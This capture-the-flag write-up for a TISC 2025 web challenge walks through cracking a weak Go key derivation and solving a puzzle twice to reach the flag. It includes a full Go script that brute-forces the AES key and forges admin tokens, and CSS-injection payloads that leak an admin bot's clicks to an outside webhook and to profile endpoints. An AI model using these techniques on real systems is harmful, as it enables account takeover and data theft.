Level 10 - Countle Secured Storage (web)

Let's look at the various web interfaces:

Initialize vault (registration at /register
):

Access secrets (/login
):

When we are logged in, at /profile
we see:

Below the username there is a small button that can be clicked to select the colour of our username (we'll get to this later).
When we click unlock vault (/2fa
):

This is basically just a countle puzzle we need to solve. The twist, however, is that we don't know what our target number is, so we don't know how to solve it!
We see Python code in the admin_bot
folder in the dist files, containing the following code:
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
import time
import socket
import threading
import os
"""
pos[mask][val] records how to make value by combining a result a from subset j with b from subset k using op
"""
def dfs(pos, mask, val, soln):
a, j, b, k, c = pos[mask][val]
if b != 0:
dfs(pos, j, a, soln)
dfs(pos, k, b, soln)
soln += [(c, a, j, b, k, val, mask)]
print(f'{a} {c} {b} = {val}') # prints a op b = val
def solve(arr, target, soln):
N = len(arr)
M = 1<<N
pos = [{} for i in range(M)]
for i,x in enumerate(arr):
pos[1<<i][x] = (x, 1<<i, 0, 0, '')
for m in range(M):
j = m
while j:
j = (j-1)&m
k = m^j
for a, _ in pos[j].items():
for b, __ in pos[k].items():
pos[m][a+b] = (a, j, b, k, '+')
pos[m][a-b] = (a, j, b, k, '−')
pos[m][b-a] = (b, k, a, j, '−')
pos[m][a*b] = (a, j, b, k, '×')
if b != 0 and a % b == 0:
pos[m][a//b] = (a, j, b, k, '÷')
if a != 0 and b % a == 0:
pos[m][b//a] = (b, k, a, j, '÷')
pos[m] = dict((x,y) for x, y in pos[m].items() if x > 0)
dfs(pos, M-1, target, soln)
service_addr = os.environ.get('BACKEND_URL', 'http://localhost:8080')
def check_secret(token, target):
service = Service()
options = Options()
options.add_argument("--headless")
options.add_argument("start-maximized")
options.add_argument("disable-infobars")
options.add_argument("--disable-extensions")
options.add_argument("--disable-gpu")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--no-sandbox")
options.add_experimental_option('excludeSwitches', ['enable-logging'])
driver = webdriver.Chrome(options=options, service=service)
try:
driver.get(service_addr)
# blindly uses the authToken provided
# javascript injection
# Can arbitrary JS before/while navigating to /2fa
driver.execute_script(
f"""
localStorage.setItem("authToken", "{token}");
location.href = "/2fa";
"""
)
# driver.get(f"https://webhook.site/2ae8949a-9a82-4730-80cd-979957e65fbb/{token}")
time.sleep(0.5)
buttons = {}
sources = driver.find_element(by=By.CLASS_NAME, value="source-cards")
sources_html = sources.find_elements(By.CLASS_NAME, 'number-card')
for i, button in enumerate(sources_html):
buttons[1<<i] = button
operators = driver.find_element(by=By.CLASS_NAME, value="operators")
operators_html = operators.find_elements(By.CLASS_NAME, 'number-card')
for button in operators_html:
buttons[button.text] = button
arr = [int(x.text) for x in sources_html]
soln = []
solve(arr, target, soln)
for c, a, j, b, k, val, mask in soln:
buttons[j].click()
time.sleep(1)
buttons[c].click()
time.sleep(1)
buttons[k].click()
operation = driver.find_elements(by=By.CLASS_NAME, value="operation")[-2]
if (val != target):
time.sleep(1)
result_html = operation.find_element(By.CLASS_NAME, 'number-card--filled')
buttons[mask] = result_html
else:
break
except Exception as e:
print(f"Error during solving: {e}")
driver.close()
def handle_client(conn, addr):
try:
conn.sendall(b"Enter token:\n") # authToken
token = conn.recv(1024).decode().strip()
conn.sendall(b"Enter target:\n") # the target integer to reach
target = int(conn.recv(1024).decode().strip())
check_secret(token, target)
conn.sendall(b"OK")
except Exception as e:
conn.sendall(f"Error: {e}\n".encode())
finally:
conn.close()
def start_server(host='0.0.0.0', port=5555):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"Listening on {host}:{port}")
while True:
conn, addr = server.accept()
threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start()
# Start the TCP service
if __name__ == "__main__":
start_server()
The admin bot is not exposed to the public, but only reachable from the backend golang server. It essentially waits for connections for the backend, receives a token and target, and visits the /2fa
endpoint with the provided token. It then uses css classes to identify the buttons available on the 2fa page, and performs DFS to find a solution. Once a solution is found it clicks the buttons to reach the target number. It clicks number 1, then the operation, then number 2.
Now let's try to understand some functions in the golang binary. Fortunately for us it isn't stripped, so we can guess their functionalities by their function names.
main_main
: Specifies a few API endpoints and their handlers:
POST
/api/login
- Login endpoint (no auth required)Handler:
off_1198A38
POST
/api/register
- Registration endpoint (no auth required)Handler:
off_1198A48
GET
/api/me
- Get current user info (requires auth)Handler:
off_1198A40
with auth middleware
GET
/api/views
- Get views (requires auth)Handler:
off_1198A30
with auth middleware
GET
/api/profile/{username}
- Get user profile (requires auth)Handler:
off_1198A28
with auth middlewarePath:
/profile/:username
(18 chars: "profile/username")
POST
/api/vault/unlock/request
- Request vault unlock (requires auth)Handler:
off_1198A60
with auth middlewarePath: 21 chars: "vault/unlock/request"
POST
/api/vault/unlock/attempt
- Attempt vault unlock (requires auth)Handler:
off_1198A58
with auth middlewarePath: 21 chars: "vault/unlock/attempt"
POST
/api/vault/check
- Check vault status (requires auth)Handler:
off_1198A20
with auth middlewarePath: 12 chars: "vault/check"
💡This activates the
admin_bot
's Python script to click the buttons to the solution in/2fa
without resetting the OTP!
main_newOTP
: Generates a new OTP using secure randommain_setOTP
: Updates the SQL database for a particular user with the provided OTP and auth levelmain_getOTP
: Retrieves otp and auth level for a particular user from the databasemain_handleUnlockAttempt
: Callsmain_getOTP
to get OTP for the user. When the user sends a POST request containing their operations, it callsjro_sg_tisc_secure_vault_countle_Validate
to ensure the moves are valid. If the user is currently at auth level 1 and solve the puzzle they get the secret. Otherwise if they are currently at auth level 0 and solve the puzzle a new OTP is generated usingmain_newOTP
and the new OTP is set usingmain_setOTP
. They are promoted to auth level 1.main_handleUnlockRequest
: Gets current OTP for the user usingmain_getOTP
, handles an invalid current OTP, generates new OTP usingmain_newOTP
, stores it usingmain_setOTP
main_genToken
: Given a username, generates an authentication token for the user by runningmain_encrypt
on the username byteslice. The first 12 bytes are a random nonce, followed by the encrypted ciphertext, followed by a 16-byte AES GCM tag.main_encrypt
: Uses amain_key
stores in bss to perform AES GCM encryption to generate the token.main_validateToken
: Decodes the token, which is a hexstring, then performs AES GCM decryption usingmain_decrypt
.main_init
: Initializes the globalmain_key
usingmain_generateKey
.main_generateKey
: Generates a 16-byte key using SHA1.
Let's take a closer look at main_generateKey
:
// main.generateKey
retval_D9FF00 __golang main_generateKey()
{
string_0 v0; // kr40_16
__int64 v1; // rsi
__int64 v2; // rdi
uintptr v3; // rsi
RTYPE *Typ; // r8
uintptr Itab; // rax
__int64 i; // rax
RTYPE *v7; // rcx
__int64 j; // rax
RTYPE *v9; // rcx
uint8 v10; // al
retval_D9FF00 v11; // [rsp+30h] [rbp-F0h]
runtime_tmpBuf buf; // [rsp+40h] [rbp-E0h] BYREF
__int64 v13; // [rsp+60h] [rbp-C0h]
__int64 v14; // [rsp+68h] [rbp-B8h]
int64 seed; // [rsp+70h] [rbp-B0h]
crypto_sha1_digest d; // [rsp+78h] [rbp-A8h] BYREF
RTYPE **v17; // [rsp+E0h] [rbp-40h]
rand_rngSource *v18; // [rsp+E8h] [rbp-38h]
uintptr v19; // [rsp+F0h] [rbp-30h]
rand_rngSource *v20; // [rsp+F8h] [rbp-28h]
__int128 v21; // [rsp+100h] [rbp-20h]
rand_rngSource *p_rand_rngSource; // [rsp+110h] [rbp-10h]
_slice_uint8_0 v24; // 0:kr28_24.24
string_0 v25; // 0:rax.8,8:rbx.8
interface__0 v26; // 0:rax.8,8:rbx.8
_slice_uint8_0 v27; // 0:rbx.8,8:rcx.8,16:rdi.8
v25.str = (uint8 *)&FLAG;
v25.len = 4;
v0 = os_Getenv(v25);
if ( !v0.len )
{
v26._type = (internal_abi_Type *)&RTYPE_string;
v26.data = &off_131FF60;
runtime_gopanic(v26);
}
memset(&d.h[2], 0, 96);
d.h[0] = 1732584193;
*(_QWORD *)&d.h[1] = 0x98BADCFEEFCDAB89LL;
*(_QWORD *)&d.h[3] = 0xC3D2E1F010325476LL;
*(_OWORD *)&d.nx = 0;
v27 = runtime_stringtoslicebyte((runtime_tmpBuf *)buf, v0);
v24 = crypto_sha1__ptr_digest_Sum(&d, v27);
if ( v24.cap < 8uLL )
runtime_panicSliceAcap();
seed = *(_QWORD *)v24.array;
p_rand_rngSource = (rand_rngSource *)runtime_newobject((internal_abi_Type *)&RTYPE_rand_rngSource);
math_rand__ptr_rngSource_Seed((math_rand_rngSource *)p_rand_rngSource, seed);
v1 = 2063608515;
while ( 1 )
{
v2 = v1;
v3 = main__typeAssert_0.Cache->Mask & v1;
Typ = (RTYPE *)main__typeAssert_0.Cache->Entries[v3].Typ;
if ( Typ == &RTYPE__ptr_rand_rngSource )
break;
v1 = v2 + 1;
if ( !Typ )
{
Itab = (uintptr)runtime_typeAssert(&main__typeAssert_0, (internal_abi_Type *)&RTYPE__ptr_rand_rngSource);
goto LABEL_8;
}
}
Itab = main__typeAssert_0.Cache->Entries[v3].Itab;
LABEL_8:
v21 = 0;
v17 = go_itab__ptr_math_rand_rngSource_comma_math_rand_Source;
v18 = p_rand_rngSource;
v19 = Itab;
v20 = p_rand_rngSource;
for ( i = 0; i < 256; i = v14 )
{
v7 = v17[3];
v14 = i + 1;
((void (__golang *)(rand_rngSource *))v7)(v18);
}
v11 = 0;
for ( j = 0; j < 16; j = v14 )
{
v13 = j;
v9 = v17[3];
v14 = j + 1;
v10 = ((__int64 (__golang *)(rand_rngSource *))v9)(v18);
v11.arr[v13] = v10;
}
return v11;
}
0x98BADCFEEFCDAB89LL
and0xC3D2E1F010325476LL
are SHA1 constants
This function appears to:
Get FLAG from env vars
Calculate a SHA1 hash of the FLAG
Uses the first 8 bytes of the SHA1 hash as a seed for
rand
Use
rand
'sInt63
function 256 timesUse
rand
'sInt63
function another 16 times, each time taking the lowest 8 bits and adding it to the result array.In the end we get a 16 byte key!
This appears to not be vulnerable since we need knowledge of the entire FLAG to calculate the SHA1 and hence get the key.
However, the catch is in crypto_sha1__ptr_digest_Sum
. Let's look at its pseudocode:
// crypto/sha1.(*digest).Sum
_slice_uint8_0 __golang crypto_sha1__ptr_digest_Sum(crypto_sha1_digest *d, _slice_uint8_0 in)
{
int cap; // rcx
int len; // rbx
uint8 *array; // rax
crypto_sha1_digest v8; // [rsp+50h] [rbp-88h] BYREF
int v9; // [rsp+B8h] [rbp-20h]
int newLen; // [rsp+C0h] [rbp-18h]
uint8 *v11; // [rsp+C8h] [rbp-10h]
uint8 *oldPtr; // [rsp+E8h] [rbp+10h]
unsigned __int64 oldCap; // [rsp+F8h] [rbp+20h]
runtime_slice v15; // 0:kr00_24.24
_slice_uint8_0 result; // 0:rax.8,8:rbx.8,16:rcx.8
oldPtr = in.array;
oldCap = in.cap;
newLen = in.len + 20;
crypto_internal_boring_sig_StandardCrypto();
*(_QWORD *)v8.h = *(_QWORD *)d->h;
qmemcpy(&v8.h[2], &d->h[2], 0x60u);
crypto_sha1__ptr_digest_checkSum(&v8);
cap = oldCap;
len = newLen;
if ( oldCap < newLen )
{
v15 = runtime_growslice(oldPtr, newLen, oldCap, 20, (internal_abi_Type *)&RTYPE_uint8);
array = (uint8 *)v15.array;
len = v15.len;
cap = v15.cap;
}
else
{
array = oldPtr;
}
v11 = array;
newLen = len;
v9 = cap;
runtime_memmove();
result.array = v11;
result.len = newLen;
result.cap = v9;
return result;
}
It actually doesn't return the hash! Rather, it grows the slice by 20 bytes (which is the size of the SHA1 digest), and appends the SHA1 digest to it. It then returns this slice.
The implication of this is that the seed
used by main_generateKey
will just be the first 8 bytes of the flag! Since we know that the flag format is TISC{
, we just need to brute the remaining 3 bytes (24 bits) to get the correct key. In order to do so,
Get a valid token (12-byte nonce || ct || 16-byte tag)
Try all possible combinations of the first 8 bytes of the flag (
TISC{???
) and attempt to perform AES decryption.When AES decryption succeeds, we know that we have found the correct key (and retrieved the first 8 bytes of the flag).
Here's the script ChatGPT generated to achieve this, and the result when tested on remote:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"io"
"log"
mathrand "math/rand"
"os"
"unicode/utf8"
)
// reproduce vulnerable key derivation from first 8 bytes (little-endian seed)
func deriveKeyFromFirst8(first8 [8]byte) [16]byte {
seed := int64(binary.LittleEndian.Uint64(first8[:]))
src := mathrand.NewSource(seed)
// warm-up: discard 256 draws
for i := 0; i < 256; i++ {
_ = src.Int63()
}
// 16 key bytes: low 8 bits of each Int63
var out [16]byte
for i := 0; i < 16; i++ {
out[i] = byte(src.Int63())
}
return out
}
func decodeToken(s string) ([]byte, error) {
if isLikelyHex(s) {
if b, err := hex.DecodeString(s); err == nil {
return b, nil
}
}
if b, err := base64.StdEncoding.DecodeString(s); err == nil {
return b, nil
}
if b, err := base64.RawStdEncoding.DecodeString(s); err == nil {
return b, nil
}
return nil, fmt.Errorf("unrecognized token encoding (tried hex, base64, raw base64)")
}
func isLikelyHex(s string) bool {
if len(s)%2 != 0 || len(s) == 0 {
return false
}
for _, r := range s {
switch {
case r >= '0' && r <= '9':
case r >= 'a' && r <= 'f':
case r >= 'A' && r <= 'F':
default:
return false
}
}
return true
}
func tryDecryptGCM(key, token []byte) ([]byte, error) {
if len(token) < 12+16 {
return nil, fmt.Errorf("token too short: %d", len(token))
}
nonce := token[:12]
ct := token[12:] // includes tag at end
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
return gcm.Open(nil, nonce, ct, nil)
}
func encryptGCM(key, plaintext []byte) ([]byte, error) {
nonce := make([]byte, 12)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, fmt.Errorf("nonce gen: %w", err)
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ct := gcm.Seal(nil, nonce, plaintext, nil) // ciphertext||tag
out := append(nonce, ct...) // nonce||ciphertext||tag
return out, nil
}
func printableUTF8(b []byte) bool {
if !utf8.Valid(b) {
return false
}
for _, r := range string(b) {
if r == '\n' || r == '\r' || r == '\t' {
continue
}
if r < 0x20 || r == 0x7f {
return false
}
}
return true
}
func main() {
var tokenStr string
var charset string
flag.StringVar(&tokenStr, "token", "", "token (hex/base64). Layout: 12-byte nonce || ciphertext || 16-byte tag")
flag.StringVar(&charset, "charset", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}", "charset for the 3 unknown bytes after \"TISC{\"")
flag.Parse()
if tokenStr == "" {
fmt.Fprintf(os.Stderr, "Usage: %s -token <hex-or-base64-token> [-charset <chars>]\n", os.Args[0])
os.Exit(2)
}
token, err := decodeToken(tokenStr)
if err != nil {
log.Fatalf("decode token: %v", err)
}
prefix := []byte("TISC{")
var first8 [8]byte
copy(first8[:5], prefix)
var tried uint64
for i := 0; i < len(charset); i++ {
for j := 0; j < len(charset); j++ {
for k := 0; k < len(charset); k++ {
first8[5] = charset[i]
first8[6] = charset[j]
first8[7] = charset[k]
key := deriveKeyFromFirst8(first8)
plain, err := tryDecryptGCM(key[:], token)
tried++
if err != nil {
continue
}
// Decrypted "previous username"
fmt.Printf("SUCCESS after %d tries\n", tried)
fmt.Printf("Recovered first 8 bytes: %q (hex: %x)\n", string(first8[:]), first8)
fmt.Printf("Derived AES-128 key : %x\n", key)
if printableUTF8(plain) {
fmt.Printf("Recovered username (utf-8): %q\n", string(plain))
} else {
fmt.Printf("Recovered username (hex) : %x\n", plain)
}
// Forge: "admin" + username
forged := append([]byte("admin_"), plain...)
newToken, err := encryptGCM(key[:], forged)
if err != nil {
log.Fatalf("re-encrypt: %v", err)
}
fmt.Printf("\nForged token for username = \"admin_\"+username\n")
fmt.Printf("HEX : %s\n", hex.EncodeToString(newToken))
fmt.Printf("B64 : %s\n", base64.StdEncoding.EncodeToString(newToken))
fmt.Printf("B64U: %s\n", base64.RawStdEncoding.EncodeToString(newToken))
return
}
}
}
fmt.Printf("No valid key found after %d tries. Consider widening the charset.\n", tried)
}
/*
elijah@soyabean:/mnt/c/Users/chiae/Downloads/tisc25/level10$ go run ./crack_key.go -token b179cc17c73cca99ab4c00196bac27d6e6db078a06fb9262efc60100
70fedaed881086
SUCCESS after 218367 tries
Recovered first 8 bytes: "TISC{1t_" (hex: 544953437b31745f)
Derived AES-128 key : 8f7fd234ba4d90f25e2fb8f34cfd1044
Recovered username (utf-8): "elijah2"
Forged token for username = "admin_"+username
HEX : fdc07335998785b84ac2a39522316d6c7accf635c23bb23421a1da67f1f81f05d59345c3a96d9aa184
B64 : /cBzNZmHhbhKwqOVIjFtbHrM9jXCO7I0IaHaZ/H4HwXVk0XDqW2aoYQ=
B64U: /cBzNZmHhbhKwqOVIjFtbHrM9jXCO7I0IaHaZ/H4HwXVk0XDqW2aoYQ
*/
Furthermore, in main_HandleRegister
, I observed that when a normal user account is created, a corresponding admin account with a random password is created, and the admin account's name is admin_XXXX
where XXXX
is the name of the user account.
The script was then modified to also forge a valid token for the admin account of the user whose token we provided.
Now we can change our username
and token
in localStorage to get access to the admin account:

Now we have to look for a vulnerability that allows us to solve the countle twice. Once to get from auth level 0 to auth level 1, and another to pass auth level 1 and view the secret which contains the flag.
After playing around for awhile I tried to intercept the request and response when we tried to change the style of the username using burp suite.
Request:
POST /api/update_style HTTP/1.1
Host: chals.tisc25.ctf.sg:23196
Content-Length: 149
Authorization: 716e50477f3d46a65a1d543e3cdfbe9a1a3304bc88c83ff1658ae05f47122398f0a6553455116b5030
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryilSJmR5aBFdvBH9C
Accept: */*
Origin: http://chals.tisc25.ctf.sg:23196
Referer: http://chals.tisc25.ctf.sg:23196/profile
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryilSJmR5aBFdvBH9C
Content-Disposition: form-data; name="style_color"
#963636
------WebKitFormBoundaryilSJmR5aBFdvBH9C--
Response:
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self'; connect-src 'self'; font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; frame-ancestors 'none'; base-uri 'none'; form-action 'self'
Content-Type: application/json; charset=utf-8
Date: Tue, 30 Sep 2025 13:57:49 GMT
Content-Length: 46
{"message":"Style color updated successfully"}
After this, we would see the following element in the webpage when we try to inspect the username:
<div class="avatar-section">
<style>.vault-username {color: #963636; text-shadow: 0 0 10px #96363640;}</style>
...
We can see that our chosen colour has been added into the <style>
tag!
You may now be wondering: Can we escape the curly brace {
to define CSS for other classes? The answer is YES!
If our payload was something like
Content-Disposition: form-data; name="style_color"
#963636; }
.someclass {
}
/*
we would be able to define CSS properties for other classes and comment out everything after our payload.
The next question is: What can we do with this CSS injection primitive?
Well, our ultimate goal is to be able to solve the countle puzzle on the admin account twice. In order to do this, we must be able to either:
a. Leak the target number, or
b. Leak the path to obtaining the target number
It turns out that step b is more feasible. If you recall, the admin bot performs DFS to find a sequence of operations to solve the puzzle, then clicks the buttons to solve the puzzle. It finds these buttons by their CSS classes. As such, if we can modify the buttons' CSS such that we can somehow determine the order of buttons clicks, we can simply re-enact the clicks to solve the puzzle.
Finding the right thing to inject is non-trivial, however. Eventually after trying to click the buttons myself and looking at http://chals.tisc25.ctf.sg:23196/assets/countle-qAA7LAPw.js, I realised that whenever a button is clicked, it momentarily gets a new CSS class called number-card--anim-popout
. If we did something like:
.number-card--anim-popout {
content: url(https://webhook.site/2ae8949a-9a82-4730-80cd-979957e65fbb)
}
we observe that it fails, presumably because external fetches aren't allowed.
However, if we were to try something like:
.number-card--anim-popout {
content: url(/api/profile/elijah2)
}
And we try clicking it ourselves on the 2fa page, it actually works! We would see a corresponding profile view on the account specified in the URL, complete with timestamps:

😂 Now I encountered another problem: When I tried to do this for mathematical operator buttons, only the first click would send a request. Subsequent requests wouldn't get sent. This is most likely due to the browser caching the CSS, resulting in subsequent fetches not occurring.
I couldn't find a way to defeat this phenomenon. However, every time the 2fa endpoint is accessed (even by the bot), the number buttons are shuffled. This means that the bot may be able to find different distinct solutions. In this case, even if we are unsure which operations are used for some lines, we can make an educated guess by obtaining multiple distinct solutions which sum up to the same target.
Now to formulate our entire payload let's look at the CSS of the different buttons the bot may click (I also added one line of equations because the bot may use an intermediate number:
<div class="board">
<div class="source-cards">
<button class="number-card number-card--filled number-card--2-chars">34</button>
<button class="number-card number-card--filled">2</button>
<button class="number-card number-card--filled number-card--3-chars">152</button>
<button class="number-card number-card--locked number-card--2-chars" disabled="">11</button>
<button class="number-card number-card--locked" disabled="">1</button>
<button class="number-card number-card--filled">4</button>
<button class="number-card number-card--filled number-card--4-chars">1007</button>
</div>
<div class="operators">
<button class="number-card number-card--operator number-card--filled">+</button>
<button class="number-card number-card--operator number-card--filled">−</button>
<button class="number-card number-card--operator number-card--filled">×</button>
<button class="number-card number-card--operator number-card--filled">÷</button>
</div>
<div>
<div class="operation">
<button class="number-card number-card--locked number-card--2-chars" disabled="">11</button>
<button class="number-card number-card--operator number-card--locked" disabled="">−</button>
<button class="number-card number-card--locked" disabled="">1</button>
<div class="equals-sign">=</div>
<button class="number-card number-card--filled number-card--2-chars">10</button>
<button class="icon-button">
...
</button>
</div>
<div class="operation">
<button class="number-card number-card--empty" disabled=""></button>
<button class="number-card number-card--operator number-card--empty" disabled=""></button>
<button class="number-card number-card--empty" disabled=""></button>
<div class="equals-sign">=</div>
<button class="number-card number-card--empty" disabled=""></button>
<button class="icon-button icon-button--hidden">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 458.5 458.5" style="width: 30px;">
...
</svg>
</button>
</div>
</div>
</div>
We can split these into the following groups:
The 7 initial number cards. These all have the
number-card--filled
class initially, and also have thenumber-card--X-chars
class depending on their number of characters. These are shuffled on each attempt to access/2fa
.Mathematical operators. These are always in the order + - x ÷ and have the
number-card--operator
classIntermediate results. In the above example my first line result was 10. It has the classes
number-card number-card--filled number-card--2-chars
We already know that we want each button to map to a different profile. If we can do this, then we can look across our different profiles to see the time each profile was viewed. By sorting those timings, we can then re-construct the bot's button clicks.
However, although this is possible for (2) and (3), it is not possible for (1). It is impossible (to my knowledge) to use CSS selectors to select between
<button class="number-card number-card--filled">1</button>
and
<button class="number-card number-card--filled">4</button>
because no CSS selector works on the content, and their classes are exactly the same.
Hence my approach was to create the following accounts:
elijahichar1 <- when the result from the first line is pressed
elijahichar2 <- when the result from the second line is pressed
elijahichar3 <- when the result from the third line is pressed
elijahichar4 <- when the result from the fourth line is pressed
elijahichar5 <- when the result from the fifth line is pressed
elijah1char <- when a 1-digit initial number button is pressed (could be 1, 2 or 4)
elijah2char <- when a 2-digit initial number button is pressed (could be 11 or 34)
elijah3char <- when a 3-digit initial number button is pressed (could only be 152)
elijah4char <- when a 4-digit initial number button is pressed (could only be 1007)
elijahplus <- when the + operator is pressed for the first time
elijahminus <- when the - operator is pressed for the first time
elijahtimes <- when the x operator is pressed for the first time
elijahdivide <- when the ÷ operator is pressed for the first time
This approach allowed me to track all button presses, except for
a) repeated mathematical operator presses, and
b) differentiating between 1-digit initial numbers and differentiating between 2-digit initial numbers
Now I wanted to write a script which would:
Send a POST request to http://chals.tisc25.ctf.sg:23196/api/vault/check which activates the bot to click the buttons without changing the OTP
Checks the aforementioned user accounts to check for the timestamps of profile views right after the bot was activated
Sort the timestamps and produce a chronological display of buttons clicked
Display the equations obtained in a mathematically friendly manner. (for ease of more LLM processing)
These 4 steps would be repeated to get a set of about 3 distinct equations for the same OTP target.
I got ChatGPT and Claude to do steps 1-3 for me and did step 4 myself.
The output looks something like this:
ccurrent time: 22:55:39
post cutoff: 09/30/2025, 22:55:39
bot triggered
=== User: elijahichar1 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:50
=== User: elijahichar2 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:54
=== User: elijahichar3 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:57
=== User: elijahichar4 ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:58
=== User: elijahichar5 ===
No post-POST timestamps found
=== User: elijah1char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:47
02: 09/30/2025, 22:56:00
03: 09/30/2025, 22:56:02
=== User: elijah2char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:44
02: 09/30/2025, 22:55:48
=== User: elijah3char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:51
=== User: elijah4char ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:55
=== User: elijahplus ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:56
=== User: elijahtimes ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:52
=== User: elijahminus ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:46
=== User: elijahdivide ===
Timestamps (post-POST):
01: 09/30/2025, 22:55:59
=== Equations ===
?? − ? = r0
?? − r0 = r1
152 × r1 = r2
1007 + r2 = r3
r3 ÷ ? = r4
?
As you can see, occasionally the last click doesn't get registered. I just re-run the script until it works, and get multiple sets of valid equations. Valid equation sets would look something like:
=== eqn set 1 ===
152 + ? = r0
?? × r0 = r1
1007 +× ? = r2
r2 ÷ ? = r3
r1 − r3 = r4
?? +-÷x r4 = r5
=== eqn set 2 ===
152 ÷ ? = r0
r0 − ?? = r1
?? × r1 = r2
r2 −×÷ 1007 = r3
? −×÷ r3 = r4
r4 −×÷ ? = r5
=== eqn set 3 ===
? + ? = r0
1007 × r0 = r1
r1 ×+ 152 = r2
?? ×+ ?? = r3
r2 − r3 = r4
r4 ×+− ? = r5
I then threw this to Claude to solve for r5, assuming r5 is the same for all equation sets. (If it failed I might have had to write this myself ...)
Fortunately, Claude was able to consistently solve these equations. For the above case for example, it gave me this solve script:
The result of running the script was something like:
Finding solutions for each set...
Set 1: 10 solutions
Set 2: 12 solutions
Set 3: 60 solutions
Sample Set 1 r5 values: [3199, 1476, 2368, 4995, 4236]
Sample Set 2 r5 values: [7570, 7574, 2328, 1162, 2328]
Sample Set 3 r5 values: [2803, 2795, 3132, 3124, 2803]
Set 1 r5 values: [1219, 1246, 1476, 2368, 3199, 3301, 4236, 4306, 4811, 4995]
Set 2 r5 values: [1162, 1199, 1928, 2184, 2328, 4811, 4812, 7570, 7574]
Set 3 r5 values: [2795, 2803, 3124, 3132, 4811, 4815, 5140, 5144, 5819, 5820, 5821, 6148, 6149, 6150, 9626]
Common r5 values: [4811]
==================================================
SOLUTIONS FOR r5 = 4811
==================================================
Set 1:
152 + 4 = 156
34 × 156 = 5304
1007 + 1 = 1008
1008 ÷ 2 = 504
5304 - 504 = 4800
11 + 4800 = 4811
Set 2:
152 ÷ 2 = 76
76 - 11 = 65
34 × 65 = 2210
2210 - 1007 = 1203
4 * 1203 = 4812
4812 - 1 = 4811
Set 3:
1 + 4 = 5
1007 × 5 = 5035
5035 + 152 = 5187
11 * 34 = 374
5187 - 374 = 4813
4813 - 2 = 4811
This allowed me to easily solve the OTPs twice in a row and get the admin secret 😄
# Unlock successful, secret is TISC{1t_w45_7h3_f1r57_g00gl3_r35ul7_f0r_c55_54n171z3r}
Last updated